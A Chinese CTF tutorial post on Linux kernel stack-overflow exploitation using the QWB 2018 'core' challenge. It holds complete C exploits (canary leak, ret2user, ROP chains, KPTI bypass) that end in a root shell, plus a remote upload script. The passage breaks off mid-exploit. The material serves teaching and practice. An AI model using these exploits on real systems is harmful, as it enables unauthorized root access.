马上注册,结交更多好友,享用更多功能,让你轻松玩转社区。
您需要 登录 才可以下载或查看,没有账号?立即注册
x
前言
本文介绍Linux内核的栈溢出攻击,和内核一些保护的绕过手法,通过一道内核题及其变体从浅入深一步步走进kernel世界。
QWB_2018_core
标题分析
start.sh
- qemu-system-x86_64 \
- -m 128M \
- -kernel ./bzImage \
- -initrd ./core.cpio \
- -append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr" \
- -s \
- -netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
- -nographic \
复制代码 开启了kaslr保护。
假如本身编译的 qemu 可能会报错network backend ‘user‘ is not compiled into this binary,办理方法就是sudo apt-get install libslirp-dev,然后重新编译 ./configure --enable-slirp。
init
解压 core.cpio(最简单的方式就是在ubuntu里,右击提取到此处),分析 init 文件:
- #!/bin/sh
- mount -t proc proc /proc
- mount -t sysfs sysfs /sys
- mount -t devtmpfs none /dev
- /sbin/mdev -s
- mkdir -p /dev/pts
- mount -vt devpts -o gid=4,mode=620 none /dev/pts
- chmod 666 /dev/ptmx
- cat /proc/kallsyms > /tmp/kallsyms
- echo 1 > /proc/sys/kernel/kptr_restrict
- echo 1 > /proc/sys/kernel/dmesg_restrict
- ifconfig eth0 up
- udhcpc -i eth0
- ifconfig eth0 10.0.2.15 netmask 255.255.255.0
- route add default gw 10.0.2.2
- insmod /core.ko # 加载内核模块core.ko
-
- setsid /bin/cttyhack setuidgid 1000 /bin/sh
- echo 'sh end!\n'
- umount /proc
- umount /sys
-
- poweroff -d 0 -f
复制代码
- 第 9 行中把 kallsyms 的内容保存到了 /tmp/kallsyms 中,那么我们就能从 /tmp/kallsyms 中读取 commit_creds,prepare_kernel_cred 的函数的地点了。
- 第 10 行把 kptr_restrict 设为 1,这样就不能通过 /proc/kallsyms 查看函数地点了,但第 9 行已经把其中的信息保存到了一个可读的文件中,这句就无关紧要了。
- 第 11 行把 dmesg_restrict 设为 1,这样就不能通过 dmesg 查看 kernel 的信息了。
- 第 18 行设置了定时关机,为了避免做题时产生干扰,直接把这句删掉然后重新打包。
内里还有一个 gen_cpio.sh 脚本,用于快速打包。
- find . -print0 \
- | cpio --null -ov --format=newc \
- | gzip -9 > $1
复制代码
- KASLR:
Kernel Address Space Layout Randomization(内核地点空间布局随机化),开启后,允许kernel image加载到VMALLOC区域的任何位置。在未开启KASLR保护机制时,内核代码段的基址为 0xffffffff81000000,direct mapping area 的基址为 0xffff888000000000。
- FG-KASLR:
Function Granular Kernel Address Space Layout Randomization细粒度的 kaslr,函数级别上的 KASLR 优化。该保护只是在代码段打乱顺序,在数据段偏移不变,例如 commit_creds 函数的偏移改变但是 init_cred 的偏移不变。
- Dmesg Restrictions:
通过设置/proc/sys/kernel/dmesg_restrict为1, 可以将dmesg输出的信息视为敏感信息(默认为0)
- Kernel Address Display Restriction:
内核提供控制变量 /proc/sys/kernel/kptr_restrict 用于控制内核的一些输出打印。
- kptr_restrict == 2 :内核将符号地点打印为全 0 , root 和普通用户都没有权限.
- kptr_restrict == 1 : root 用户有权限读取,普通用户没有权限.
- kptr_restrict == 0 : root 和普通用户都可以读取.
core.ko
检查一下保护。
- ❯ checksec core/core.ko
- [*] '/home/pwn/kernel/pwn/give_to_player/core/core.ko'
- Arch: amd64-64-little
- RELRO: No RELRO
- Stack: Canary found
- NX: NX enabled
- PIE: No PIE (0x0)
复制代码 使用 IDA 继续分析.ko文件。
init_module() 注册了 /proc/core,core_fops 时其注册的file_operations布局体实例,碰面会做介绍。
- __int64 init_module()
- {
- core_proc = proc_create("core", 438LL, 0LL, &core_fops);
- printk(&unk_2DE);
- return 0LL;
- }
复制代码 exit_core()删除 /proc/core。
- __int64 exit_core()
- {
- __int64 result; // rax
-
- if ( core_proc )
- result = remove_proc_entry("core");
- return result;
- }
复制代码 core_ioctl() 界说了三条命令,分别调用 core_read(), core_copy_func()和设置全局变量 off。
- __int64 __fastcall core_ioctl(__int64 a1, int a2, __int64 a3)
- {
- switch ( a2 )
- {
- case 0x6677889B:
- core_read(a3);
- break;
- case 0x6677889C:
- printk(&unk_2CD);
- off = a3;
- break;
- case 0x6677889A:
- printk(&unk_2B3);
- core_copy_func(a3);
- break;
- }
- return 0LL;
- }
复制代码 core_read() 从 v4[off] 拷贝 64 个字节到用户空间,但要注意的是全局变量 off 是我们能够控制的,因此可以公道的控制 off 来 leak canary 和一些地点 。
- void __fastcall core_read(__int64 a1)
- {
- __int64 v1; // rbx
- char *v2; // rdi
- signed __int64 i; // rcx
- char v4[64]; // [rsp+0h] [rbp-50h]
- /*
- * canary保存在rsp+0x40的位置,
- * 我们通过设置off为0x40,即可将其读取出来。
- */
- unsigned __int64 v5; // [rsp+40h] [rbp-10h]
-
- v1 = a1;
- v5 = __readgsqword(0x28u);
- printk("\x016core: called core_read\n");
- printk("\x016%d %p\n");
- v2 = v4;
- for ( i = 16LL; i; --i )
- {
- *(_DWORD *)v2 = 0;
- v2 += 4;
- }
- strcpy(v4, "Welcome to the QWB CTF challenge.\n");
- if ( copy_to_user(v1, &v4[off], 64LL) )
- __asm { swapgs }
- }
复制代码 core_copy_func() 从全局变量 name 中拷贝数据到局部变量中,长度是由我们指定的,当要注意的是 qmemcpy 用的是 unsigned __int16,但传递的长度是 signed __int64,因此假如控制传入的长度为 0xffffffffffff0000|(0x100) 等值,就可以栈溢出了。
- __int64 __fastcall core_copy_func(__int64 a1)
- {
- __int64 result; // rax
- _QWORD v2[10]; // [rsp+0h] [rbp-50h] BYREF
-
- v2[8] = __readgsqword(0x28u);
- printk(&unk_215);
- // 这里用的jg判断,为有符号判断,0xffffffffffff0000|(0x100) 会判定为负从而绕过。
- if ( a1 > 63 )
- {
- printk(&unk_2A1);
- return 0xFFFFFFFFLL;
- }
- else
- {
- result = 0LL;
- // 栈溢出。
- qmemcpy(v2, &name, (unsigned __int16)a1);
- }
- return result;
- }
复制代码 core_write() 向全局变量 name 上写,这样通过 core_write() 和 core_copy_func() 就可以控制 ropchain 了 。
- signed __int64 __fastcall core_write(__int64 a1, __int64 a2, unsigned __int64 a3)
- {
- unsigned __int64 v3; // rbx
-
- v3 = a3;
- printk("\x016core: called core_writen");
- if ( v3 <= 0x800 && !copy_from_user(name, a2, v3) )
- return (unsigned int)v3;
- printk("\x016core: error copying data from userspacen");
- return 0xFFFFFFF2LL;
- }
复制代码 字符驱动装备
内核注册字符装备驱动装备时会用到file_operations布局体,file_operations 布局体中的成员函数是字符装备驱动程序计划的主体内容,布局体中的一些指针好比open() 、write() 、read() 、close() 等体系调用时终极会被内核调用,我们可以通过指定指针指向的内容修改其默认值为我们自界说的函数,这样我们在雷同read(dev_fd, buf, 0x100)时就会调用我们自界说的my_read函数。
它还有一个指针为unlocked_ioctl,我们在用户态时可以使用体系调用ioctl去访问控制内核注册的装备(ioctl体系调用号为0x10,由rax保存,需要注意的时,体系调用和用户传参的rdi,rsi,rdx,rcx,r8,r9不同,体系调用第四个传参寄存器为r10,即rdi,rsi,rdx,r10,r8,r9)。
【----帮助网安学习,以下全部学习资料免费领!加vx:dctintin,备注 “博客园” 获取!】
① 网安学习发展路径头脑导图
② 60+网安经典常用工具包
③ 100+SRC漏洞分析陈诉
④ 150+网安攻防实战技术电子书
⑤ 最权势巨子CISSP 认证测验指南+题库
⑥ 超1800页CTF实战本领手册
⑦ 最新网安大厂口试题合集(含答案)
⑧ APP客户端安全检测指南(安卓+IOS)
动态调试
为了动态调试的方便一些,我们需要做以下工作:
(1)通过qemu append参数关闭 kaslr ,qemu提供了-s参数用于调试,默认端口为1234。
- -append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet nokaslr"
复制代码 (2)修改init脚本将权限调到 root。
- ...
- setsid /bin/cttyhack setuidgid 0 /bin/sh
- ...
复制代码 (3)启动qemu,查看模块基地点。
- / # lsmod
- core 16384 0 - Live 0xffffffffc0000000 (O)
复制代码 (4)通过 add-symbol-file core.ko textaddr 把 core.ko 符号加载进去。
- #!/bin/sh
-
- gdb -q \
- -ex "file ./core/vmlinux" \
- -ex "file ./core/core.ko" \
- -ex "add-symbol-file ./core/core.ko 0xffffffffc0000000" \
- -ex "target remote localhost:1234"
复制代码 ret2user
顾名思义,即返回到用户空间的提权代码上进行提权,之后返回用户态即为 root 权限。
提权方式
这里只简单介绍两种朴素的方法,第一种是通过commit_creds(prepare_kernel_cred(0))去提权,不过这种方式已颠末时了,不过这道题的内核版本支持这种方法提权,prepare_kernel_cred()会将拷贝一个新的cred凭证,参数为零默认拷贝init_cred,其具有root权限。commit_cred()负责应用到进程。
第二种是 commit_cred(&init_cred),原因是init_cred是静态界说的,我们只要找到init_cred地点便可借助commit_cred完成提权。我们通过vmlinux-to-elf bzImage vmlinux解压并恢复内核部门符号,通过逆向 prepare_kernel_cred() 函数便可轻松定位其地点。
- _DWORD *__fastcall prepare_kernel_cred(__int64 a1)
- {
- _DWORD *v1; // rbx
- int *task_cred; // rbp
-
- v1 = (_DWORD *)kmem_cache_alloc(qword_FFFFFFFF82735900, 20971712LL);
- if ( !v1 )
- return 0LL;
- if ( a1 )
- {
- task_cred = (int *)get_task_cred(a1);
- }
- else
- {
- _InterlockedIncrement(dword_FFFFFFFF8223D1A0);
- task_cred = dword_FFFFFFFF8223D1A0; // init_cred
- }
- [......]
- }
复制代码
状态保存
通常情况下,我们的 exploit 需要进入到内核当中完成提权,而我们终极仍然需要着陆回用户态以获得一个 root 权限的 shell,因此在我们的 exploit 进入内核态之前我们需要手动模拟用户态进入内核态的准备工作保存各寄存器的值到内核栈上,以便于后续着陆回用户态。通常情况下使用如下函数保存各寄存器值到我们本身界说的变量中,以便于构造 rop 链:
gcc 编译时需要指定参数:-masm=intel。
- size_t user_cs, user_ss, user_rflags, user_sp;
- void saveStatus()
- {
- __asm__("mov user_cs, cs;"
- "mov user_ss, ss;"
- "mov user_sp, rsp;"
- "pushf;"
- "pop user_rflags;"
- );
- puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
- }
复制代码 返回用户态
由内核态返回用户态只需要:
- swapgs指令通过用一个MSR中的值交换GS寄存器的内容,用来获取指向内核数据布局的指针,然后才能实行体系调用之类的内核空间程序,其也用于恢复用户态 GS 寄存器。
- sysretq或者iretq恢复到用户空间
那么我们只需要在内核中找到相应的 gadget 并实行swapgs;iretq就可以成功着陆回用户态。
实行 iretq 时的栈布局。
- |----------------------|
- | RIP |<== low mem
- |----------------------|
- | CS |
- |----------------------|
- | EFLAGS |
- |----------------------|
- | RSP |
- |----------------------|
- | SS |<== high mem
- |----------------------|
复制代码 所以我们应当构造如下 rop 链以返回用户态并获得一个 shell:
- ↓ swapgs
- iretq
- user_shell_addr
- user_cs
- user_eflags //64bit user_rflags
- user_sp
- user_ss
复制代码 使用思路
在未开启 SMAP/SMEP 保护(后面会解说)的情况下,用户空间无法访问内核空间的数据,但是内核空间可以访问 / 实行用户空间的数据,所以可以使用ret2user。标题给的vmlinux用于提取gadget可以,但使用IDA分析时太慢,可以用vmlinux-to-elf解压bzImage进行分析。
- 从 /tmp/kallsyms 读取符号地点,确认与nokaslr偏移,从vmlinux探求gadget。
- 保存用户状态。
- 通过设置 off 读取 canary。
- 于内核态访问用户空间的 commit_creds(prepare_kernel_cred(NULL))/commit_creds(init_cred);提权。
- 通过 swapgs; mov trap_frame, rsp; iretq 返回用户空间,并实行 system("/bin/sh");。
exp
- #include <fcntl.h>
- #include <stdio.h>
- #include <stdlib.h>
- #include <string.h>
- #include <sys/types.h>
- #include <unistd.h>
- #include <sys/ioctl.h>
-
- #define KERNCALL __attribute__((regparm(3)))
- /* /tmp/kallsyms 保存的符号地址,这里保存的是未开启kaslr的地址 */
- void *(*prepare_kernel_cred)(void *) KERNCALL = (void *) 0xFFFFFFFF8109CCE0;
- void *(*commit_creds)(void *) KERNCALL = (void *) 0xFFFFFFFF8109C8E0;
- void *init_cred = (void *) 0xFFFFFFFF8223D1A0;
-
- void get_shell()
- {
- system("/bin/sh");
- }
-
- void get_root() {
- commit_creds(init_cred);
- // commit_creds(prepare_kernel_cred(0));
- asm("swapgs;"
- "mov rsp, tf_addr;"
- "iretq;");
- }
-
- struct trap_frame {
- size_t user_rip;
- size_t user_cs;
- size_t user_rflags;
- size_t user_sp;
- size_t user_ss;
- } __attribute__((packed));
-
- struct trap_frame tf;
- size_t user_cs, user_rflags, user_sp, user_ss, tf_addr = (size_t) &tf;
-
- void save_status() {
- __asm__("mov user_cs, cs;"
- "mov user_ss, ss;"
- "mov user_sp, rsp;"
- "pushf;"
- "pop user_rflags;");
- tf.user_rip = (size_t) get_shell;
- tf.user_cs = user_cs;
- tf.user_rflags = user_rflags;
- tf.user_sp = user_sp - 0x1000;
- tf.user_ss = user_ss;
- puts("[*] status has been saved.");
- }
-
- int core_fd;
-
- void core_read(char *buf) {
- ioctl(core_fd, 0x6677889B, buf);
- }
-
- void set_off(size_t off) {
- ioctl(core_fd, 0x6677889C, off);
- }
-
- void core_copy_func(size_t len) {
- ioctl(core_fd, 0x6677889A, len);
- }
-
- void core_write(char *buf, size_t len) {
- write(core_fd, buf, len);
- }
-
- /* 计算开启kaslr后的偏移,重定位相关函数和结构体的地址 */
- void rebase() {
- FILE *kallsyms_fd = fopen("/tmp/kallsyms", "r");
- if (kallsyms_fd < 0) {
- puts("[-] Failed to open kallsyms.\n");
- exit(-1);
- }
- char name[0x50], type[0x10];
- size_t addr;
- while (fscanf(kallsyms_fd, "%llx%s%s", &addr, type, name)) {
- size_t offset = -1;
- if (!strcmp(name, "commit_creds")) {
- offset = addr - (size_t) commit_creds;
- } else if (!strcmp(name, "prepare_kernel_cred")) {
- offset = addr - (size_t) prepare_kernel_cred;
- }
- if (offset != -1) {
- printf("[*] offset: %p\n", offset);
- commit_creds = (void *) ((size_t) commit_creds + offset);
- prepare_kernel_cred = (void *) ((size_t) prepare_kernel_cred + offset);
- init_cred = (void *) ((size_t) init_cred + offset);
- break;
- }
- }
- printf("[*] commit_creds: %p\n", (size_t) commit_creds);
- printf("[*] prepare_kernel_cred: %p\n", (size_t) prepare_kernel_cred);
- }
-
- size_t get_canary() {
- set_off(0x40);
- char buf[0x40];
- core_read(buf);
- return *(size_t *) buf;
- }
-
- int main() {
- rebase();
- save_status();
- core_fd = open("/proc/core", O_RDWR);
- if (core_fd < 0) {
- puts("[-] Failed to open core.");
- exit(-1);
- }
- size_t canary = get_canary();
- printf("[*] canary: %p\n", canary);
- char buf[0x100];
- memset(buf, '\x00', sizeof(buf));
- *(size_t *) &buf[0x40] = canary;
- *(void **) &buf[0x50] = get_root; // 覆盖返回地址
- core_write(buf, sizeof(buf));
- // jg 有符号判断,判其为负数,qmemcpy() 第三个参数取其后16位,导致溢出。
- core_copy_func(0xffffffffffff0000 | sizeof(buf));
- return 0;
- }
复制代码 编译exp时需要注意,本机环境编译的exp可能无法与标题环境交互,需要使用musl-gcc或者相应版本的docker进行编译,musl-gcc有一些库不支持,但大部门情况下都是可以的。
打包脚本
本题提供了打包脚本,可以直接./gen_cpio.sh ../core_new.cpio 打包即可。假如没提供可以使用以下命令打包。
- find . | cpio -o -H newc > ../rootfs.imgs
复制代码 打包完成后,改回标题环境,运行脚本测试即可。发送至远程可以使用以下脚本:
- from pwn import *
- import base64
- #context.log_level = "debug"
-
- with open("./exp", "rb") as f:
- exp = base64.b64encode(f.read())
-
- p = remote("127.0.0.1", 11451)
- #p = process('./run.sh')
- try_count = 1
- while True:
- p.sendline()
- p.recvuntil("/ $")
-
- count = 0
- for i in range(0, len(exp), 0x200):
- p.sendline("echo -n "" + exp[i:i + 0x200] + "" >> /tmp/b64_exp")
- count += 1
- log.info("count: " + str(count))
-
- for i in range(count):
- p.recvuntil("/ $")
-
- p.sendline("cat /tmp/b64_exp | base64 -d > /tmp/exploit")
- p.sendline("chmod +x /tmp/exploit")
- p.sendline("/tmp/exploit ")
- break
-
- p.interactive()
复制代码 调试
可以看到add rsp, 0x48;pop rbx后,ret指令正好实行我们用户空间的提权代码。
kernel rop without KPIT
开启 smep 和 smap 保护后,内核空间无法实行用户空间的代码,并且无法访问用户空间的数据。因此不能直接 ret2user 。使用 ROP实行 commit_creds(prepare_kernel_cred(0))/commit_creds(init_cred) , 然后 iret 返回用户空间可以绕过上述保护。
添加 smep 和 smap 保护。
- qemu-system-x86_64 \
- -m 128M \
- -kernel ./bzImage \
- -initrd ./core.cpio \
- -append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet nokaslr" \
- -s \
- -netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
- -nographic \
- -cpu qemu64,+smep,+smap
复制代码
- smep:
Supervisor Mode Execution Protection(管理模式实行保护),当处理器处于 ring 0 模式,实行用户空间的代码会触发页错误。(在 arm 中该保护称为 PXN)
- smap:
Superivisor Mode Access Protection(管理模式访问保护),雷同于 smep,当处理器处于 ring 0 模式,访问用户空间的数据会触发页错误。
使用思路
- 从 /tmp/kallsyms 读取符号地点,确认与nokaslr偏移,从vmlinux探求gadget。
- 保存用户状态。
- 通过设置 off 读取 canary。
- 于内核空间 rop 调用 commit_creds(prepare_kernel_cred(NULL))/commit_creds(init_cred);提权。
- 通过 swapgs; popfq; ret; ,iretq 返回用户空间,并实行 system("/bin/sh");。
exp
- #include <fcntl.h>
- #include <stdio.h>
- #include <stdlib.h>
- #include <string.h>
- #include <sys/types.h>
- #include <unistd.h>
- #include <sys/ioctl.h>
-
- // from vmlinux
- size_t prepare_kernel_cred = 0xFFFFFFFF8109CCE0;
- size_t commit_creds = 0xFFFFFFFF8109C8E0;
- size_t init_cred = 0xFFFFFFFF8223D1A0;
- size_t pop_rdi_ret = 0xffffffff81000b2f;
- size_t pop_rdx_ret = 0xffffffff810a0f49;
- size_t pop_rcx_ret = 0xffffffff81021e53;
- /*
- * (1)如果使用 commit_creds(prepare_kernel_cred(NULL));
- * 由于找不到 mov rdi, rax; ret; 这条 gadget ,
- * 因此需要用 mov rdi, rax; call rdx; 代替,其中 rdx 指向 pop rcx; ret;
- * 可以清除 call 指令压入栈中的 rip ,因此相当于 ret 。
- * (2)如果使用 commit_creds(init_cred);
- * 则只需要 pop rdi; ret 即可。
- */
- size_t mov_rdi_rax_call_rdx = 0xffffffff8101aa6a;
- size_t swapgs_popfq_ret = 0xffffffff81a012da;
- size_t iretq = 0xffffffff81050ac2;
-
- void get_shell() {
- system("/bin/sh");
- }
-
- size_t user_cs, user_rflags, user_sp, user_ss;
-
- void save_status() {
- __asm__("mov user_cs, cs;"
- "mov user_ss, ss;"
- "mov user_sp, rsp;"
- "pushf;"
- "pop user_rflags;");
- puts("[*] status has been saved.");
- }
-
- int core_fd;
-
- void core_read(char *buf) {
- ioctl(core_fd, 0x6677889B, buf);
- }
-
- void set_off(size_t off) {
- ioctl(core_fd, 0x6677889C, off);
- }
-
- void core_copy_func(size_t len) {
- ioctl(core_fd, 0x6677889A, len);
- }
-
- void core_write(char *buf, size_t len) {
- write(core_fd, buf, len);
- }
-
- void rebase() {
- FILE *kallsyms_fd = fopen("/tmp/kallsyms", "r");
- if (kallsyms_fd < 0) {
- puts("[-] Failed to open kallsyms.\n");
- exit(-1);
- }
- char name[0x50], type[0x10];
- size_t addr;
- while (fscanf(kallsyms_fd, "%llx%s%s", &addr, type, name)) {
- size_t offset = -1;
- if (!strcmp(name, "commit_creds")) {
- offset = addr - (size_t) commit_creds;
- } else if (!strcmp(name, "prepare_kernel_cred")) {
- offset = addr - (size_t) prepare_kernel_cred;
- }
- if (offset != -1) {
- printf("[*] offset: %p\n", offset);
- commit_creds += offset;
- prepare_kernel_cred += offset;
- init_cred += offset;
- pop_rdi_ret += offset;
- pop_rdx_ret += offset;
- pop_rcx_ret += offset;
- mov_rdi_rax_call_rdx += offset;
- swapgs_popfq_ret += offset;
- iretq += offset;
- break;
- }
- }
- printf("[*] commit_creds: %p\n", (size_t) commit_creds);
- printf("[*] prepare_kernel_cred: %p\n", (size_t) prepare_kernel_cred);
- }
-
- size_t get_canary() {
- set_off(64);
- char buf[64];
- core_read(buf);
- return *(size_t *) buf;
- }
-
- int main() {
- save_status();
- rebase();
-
- core_fd = open("/proc/core", O_RDWR);
- if (core_fd < 0) {
- puts("[-] Failed to open core.");
- exit(-1);
- }
-
- size_t canary = get_canary();
- printf("[*] canary: %p\n", canary);
-
- char buf[0x100];
- memset(buf, '\x00', sizeof(buf));
- *(size_t *) &buf[0x40] = canary;
-
- size_t *rop = (size_t *) &buf[0x50], it = 0;
-
- rop[it++] = pop_rdi_ret;
- rop[it++] = 0;
- rop[it++] = prepare_kernel_cred;
- rop[it++] = pop_rdx_ret; // rdx ==> pop_rcx_ret_addr
- rop[it++] = pop_rcx_ret;
- // rax==prepare_kernel_cred(0), cal rdx ==> push commit_creds_addr, then pop_rcx_ret
- rop[it++] = mov_rdi_rax_call_rdx;
- rop[it++] = commit_creds;
-
- rop[it++] = swapgs_popfq_ret;
- rop[it++] = 0;
- rop[it++] = iretq;
- rop[it++] = (size_t) get_shell;
- rop[it++] = user_cs;
- rop[it++] = user_rflags;
- rop[it++] = user_sp;
- rop[it++] = user_ss;
-
- core_write(buf, sizeof(buf));
-
- core_copy_func(0xffffffffffff0000 | sizeof(buf));
-
- return 0;
- }
复制代码 kernel rop with KPIT
将 CPU 范例修改为 kvm64 后开启了 KPTI 保护。
- #!/bin/sh
- qemu-system-x86_64 \
- -m 256M \
- -kernel ./bzImage \
- -initrd ./core.cpio \
- -append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet nokaslr" \
- -s \
- -netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
- -nographic \
- -cpu kvm64,+smep,+smap
复制代码 KPTI:
kernel page-table isolation,内核页表隔离,进程页表隔离。旨在更好地隔离用户空间与内核空间的内存来提高安全性。KPTI通过完全分离用户空间与内核空间页表来办理页表泄露。一旦开启了KPTI,由于内核态和用户态的页表不同,所以假如使用 ret2user或内核实行ROP返回用户态时,由于内核态无法确定用户态的页表,就会报出一个段错误。可以使用内核现有的gadget将 cr3 与 0x1000 异或(第13位置0)来完成从用户态PGD转换成内核态PGD。
使用思路
比较简单的方法是借助 swapgs_restore_regs_and_return_to_usermode 返回用户态。该函数是内核在 arch/x86/entry/entry_64.S 中提供的一个用于完成内核态到用户态切换的函数。当然我们也可以使用内核的gadget将cr3的第13位置0(与0x1000异或)来完成从用户态PGD转换成内核态PGD。
- .text:FFFFFFFF81A008DA ; __int64 swapgs_restore_regs_and_return_to_usermode(void)
- .text:FFFFFFFF81A008DA public swapgs_restore_regs_and_return_to_usermode
- .text:FFFFFFFF81A008DA swapgs_restore_regs_and_return_to_usermode proc near
- .text:FFFFFFFF81A008DA ; CODE XREF: ;entry_SYSCALL_64_after_hwframe+4D↑j
- .text:FFFFFFFF81A008DA ; entry_SYSCALL_64_after_hwframe+5E↑j ...
- .text:FFFFFFFF81A008DA pop r15
- .text:FFFFFFFF81A008DC pop r14
- .text:FFFFFFFF81A008DE pop r13
- .text:FFFFFFFF81A008E0 pop r12
- .text:FFFFFFFF81A008E2 pop rbp
- .text:FFFFFFFF81A008E3 pop rbx
- .text:FFFFFFFF81A008E4 pop r11
- .text:FFFFFFFF81A008E6 pop r10
- .text:FFFFFFFF81A008E8 pop r9
- .text:FFFFFFFF81A008EA pop r8
- .text:FFFFFFFF81A008EC pop rax
- .text:FFFFFFFF81A008ED pop rcx
- .text:FFFFFFFF81A008EE pop rdx
- .text:FFFFFFFF81A008EF pop rsi
- /*
- * 我们再利用时直接跳到这里即可,不过 rop 接下来还要有 16 字节的填充来表示 orig_rax 和 rdi 的位置。
- */
- .text:FFFFFFFF81A008F0 mov rdi, rsp ; jump this
- .text:FFFFFFFF81A008F3 mov rsp, gs:qword_5004
- .text:FFFFFFFF81A008FC push qword ptr [rdi+30h]
- .text:FFFFFFFF81A008FF push qword ptr [rdi+28h]
- .text:FFFFFFFF81A00902 push qword ptr [rdi+20h]
- .text:FFFFFFFF81A00905 push qword ptr [rdi+18h]
- .text:FFFFFFFF81A00908 push qword ptr [rdi+10h]
- .text:FFFFFFFF81A0090B push qword ptr [rdi]
- .text:FFFFFFFF81A0090D push rax
- .text:FFFFFFFF81A0090E jmp short loc_FFFFFFFF81A00953
- [......]
- ;loc_FFFFFFFF81A00953
- .text:FFFFFFFF81A00953 loc_FFFFFFFF81A00953: ; CODE XREF: ;swapgs_restore_regs_and_return_to_usermode+34↑j
- .text:FFFFFFFF81A00953 pop rax
- .text:FFFFFFFF81A00954 pop rdi
- .text:FFFFFFFF81A00955 swapgs
- .text:FFFFFFFF81A00958 jmp native_iret
- .text:FFFFFFFF81A00958 swapgs_restore_regs_and_return_to_usermode endp
- [......]
- ;native_iret
- .text:FFFFFFFF81A00980 test [rsp+arg_18], 4
- .text:FFFFFFFF81A00985 jnz short native_irq_return_ldt
- .text:FFFFFFFF81A00985 native_iret endp
- [......]
- ;native_irq_return_ldt
- .text:FFFFFFFF81A00989 push rdi
- .text:FFFFFFFF81A0098A swapgs
- .text:FFFFFFFF81A0098D jmp short loc_FFFFFFFF81A009A1
- [......]
- ;loc_FFFFFFFF81A009A1
- .text:FFFFFFFF81A009A1 mov rdi, gs:qword_F000
- .text:FFFFFFFF81A009AA mov [rdi], rax
- .text:FFFFFFFF81A009AD mov rax, [rsp+8]
- .text:FFFFFFFF81A009B2 mov [rdi+8], rax
- .text:FFFFFFFF81A009B6 mov rax, [rsp+8+arg_0]
- .text:FFFFFFFF81A009BB mov [rdi+10h], rax
- .text:FFFFFFFF81A009BF mov rax, [rsp+8+arg_8]
- .text:FFFFFFFF81A009C4 mov [rdi+18h], rax
- .text:FFFFFFFF81A009C8 mov rax, [rsp+8+arg_18]
- .text:FFFFFFFF81A009CD mov [rdi+28h], rax
- .text:FFFFFFFF81A009D1 mov rax, [rsp+8+arg_10]
- .text:FFFFFFFF81A009D6 mov [rdi+20h], rax
- .text:FFFFFFFF81A009DA and eax, 0FFFF0000h
- .text:FFFFFFFF81A009DF or rax, gs:qword_F008
- .text:FFFFFFFF81A009E8 push rax
- .text:FFFFFFFF81A009E9 jmp short loc_FFFFFFFF81A00A2E
- [......]
- ;loc_FFFFFFFF81A00A2E
- .text:FFFFFFFF81A00A2E pop rax
- .text:FFFFFFFF81A00A2F swapgs
- .text:FFFFFFFF81A00A32 pop rdi
- .text:FFFFFFFF81A00A33 mov rsp, rax
- .text:FFFFFFFF81A00A36 pop rax
- .text:FFFFFFFF81A00A37 jmp native_irq_return_iret
- [......]
- ;native_irq_return_iret
- .text:FFFFFFFF81A00987 iretq
- .text:FFFFFFFF81A00987 native_irq_return_iret endp
复制代码 exp
- #include <fcntl.h>
- #include <stdio.h>
- #include <stdlib.h>
- #include <string.h>
- #include <sys/types.h>
- #include <unistd.h>
- #include <sys/ioctl.h>
-
- size_t prepare_kernel_cred = 0xFFFFFFFF8109CCE0;
- size_t commit_creds = 0xFFFFFFFF8109C8E0;
- size_t init_cred = 0xFFFFFFFF8223D1A0;
- size_t pop_rdi_ret = 0xffffffff81000b2f;
- size_t pop_rdx_ret = 0xffffffff810a0f49;
- size_t pop_rcx_ret = 0xffffffff81021e53;
- size_t mov_rdi_rax_call_rdx = 0xffffffff8101aa6a;
- size_t swapgs_popfq_ret = 0xffffffff81a012da;
- size_t iretq = 0xffffffff81050ac2;
- size_t swapgs_restore_regs_and_return_to_usermode = 0xFFFFFFFF81A008DA;
-
- void get_shell() {
- system("/bin/sh");
- }
-
- size_t user_cs, user_rflags, user_sp, user_ss;
-
- void save_status() {
- __asm__("mov user_cs, cs;"
- "mov user_ss, ss;"
- "mov user_sp, rsp;"
- "pushf;"
- "pop user_rflags;");
- puts("[*] status has been saved.");
- }
-
- int core_fd;
-
- void core_read(char *buf) {
- ioctl(core_fd, 0x6677889B, buf);
- }
-
- void set_off(size_t off) {
- ioctl(core_fd, 0x6677889C, off);
- }
-
- void core_copy_func(size_t len) {
- ioctl(core_fd, 0x6677889A, len);
- }
-
- void core_write(char *buf, size_t len) {
- write(core_fd, buf, len);
- }
-
- void rebase() {
- FILE *kallsyms_fd = fopen("/tmp/kallsyms", "r");
- if (kallsyms_fd < 0) {
- puts("[-] Failed to open kallsyms.\n");
- exit(-1);
- }
- char name[0x50], type[0x10];
- size_t addr;
- while (fscanf(kallsyms_fd, "%llx%s%s", &addr, type, name)) {
- size_t offset = -1;
- if (!strcmp(name, "commit_creds")) {
- offset = addr - (size_t) commit_creds;
- } else if (!strcmp(name, "prepare_kernel_cred")) {
- offset = addr - (size_t) prepare_kernel_cred;
- }
- if (offset != -1) {
- printf("[*] offset: %p\n", offset);
- commit_creds += offset;
- prepare_kernel_cred += offset;
- init_cred += offset;
- pop_rdi_ret += offset;
- pop_rdx_ret += offset;
- pop_rcx_ret += offset;
- mov_rdi_rax_call_rdx += offset;
- swapgs_popfq_ret += offset;
- iretq += offset;
- swapgs_restore_regs_and_return_to_usermode += offset;
- break;
- }
- }
- printf("[*] commit_creds: %p\n", (size_t) commit_creds);
- printf("[*] prepare_kernel_cred: %p\n", (size_t) prepare_kernel_cred);
- }
-
- size_t get_canary() {
- set_off(64);
- char buf[64];
- core_read(buf);
- return *(size_t *) buf;
- }
-
- int main() {
- save_status();
- rebase();
-
- core_fd = open("/proc/core", O_RDWR);
- if (core_fd < 0) {
- puts("[-] Failed to open core.");
- exit(-1);
- }
-
- size_t canary = get_canary();
- printf("[*] canary: %p\n", canary);
-
- char buf[0x100];
- memset(buf, '\x00', sizeof(buf));
- // 0x40~0x48->canary; 0x48~0x50->rbp; 0x50~0x58->fake_retaddr
- *(size_t *) &buf[0x40] = canary;
- size_t *rop = (size_t *) &buf[0x50], it = 0;
-
- rop[it++] = pop_rdi_ret;
- rop[it++] = 0;
